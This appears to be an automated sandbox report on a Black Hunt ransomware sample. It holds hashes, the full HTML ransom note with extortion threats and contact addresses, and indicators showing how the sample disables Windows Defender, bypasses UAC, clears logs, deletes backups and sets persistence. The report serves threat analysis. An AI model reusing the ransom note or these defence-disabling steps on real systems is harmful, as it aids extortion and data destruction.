40f3a704949edcb37cabcacb79b9f26de129062bba5a64521050fae33639a162

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
28/01/2024, 23:48 UTC

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General

Target

80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
Size

707KB
MD5

f0b6830cca985da250d37e71216d644a
SHA1

6d12d0c9aaf54ec9b4abdff2b8ef862bdd3984e1
SHA256

40f3a704949edcb37cabcacb79b9f26de129062bba5a64521050fae33639a162
SHA512

9da88e20af3240274abc76fb6c8565957ee8d9b747b2a50706f0c652489d943d66a6b8ce5fa865294be82615ea668e2ff52469e56996185d0b8ff0d1de567b08
SSDEEP

6144:QcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1H8avnh:auaTmkZJ+naie5OTamgEoKxLWW0h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> OMOjsUshn@gmail.com </span>this ID (<span> Eug2s7JCLdA9Ll84 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> Teikobest@gmail.com </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

OMOjsUshn@gmail.com

Teikobest@gmail.com

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3744	fsutil.exe
2936	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3620	wevtutil.exe
3792	wevtutil.exe
3964	wevtutil.exe
3580	wevtutil.exe
3612	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2988	bcdedit.exe
2548	bcdedit.exe
3924	bcdedit.exe
2512	bcdedit.exe

Renames multiple (2905) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2248	wbadmin.exe
4020	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2012	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\S:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\J:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\K:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\I:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\P:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\N:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\O:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\M:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\A:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\H:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\F:	conhost.exe
File opened (read-only)	\??\Q:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\E:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\L:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\Z:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\X:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\B:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\U:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\V:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\T:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\Y:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened (read-only)	\??\G:	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Brussels	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_de.properties	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\com-sun-tools-visualvm-modules-startup_ja.jar	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Rangoon	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Urumqi	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\#BlackHunt_Private.key	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vevay	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Anadyr	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Sakhalin	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\AST4ADT	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\day-of-week-16.png	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_zh_CN.jar	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\#BlackHunt_Private.key	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kolkata	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\720x480icongraphic.png	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\feature.xml	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\MANIFEST.MF	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core_2.3.0.v20131211-1531.jar	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.webapp.nl_zh_4.4.0.v20140623020002.jar	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-modules-startup.xml	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_Private.key	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#BlackHunt_ReadMe.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sw.txt	80b48d61776752a06036fca4dedf61f31e73e6300d09fd6a5ac18093facdc374.exe
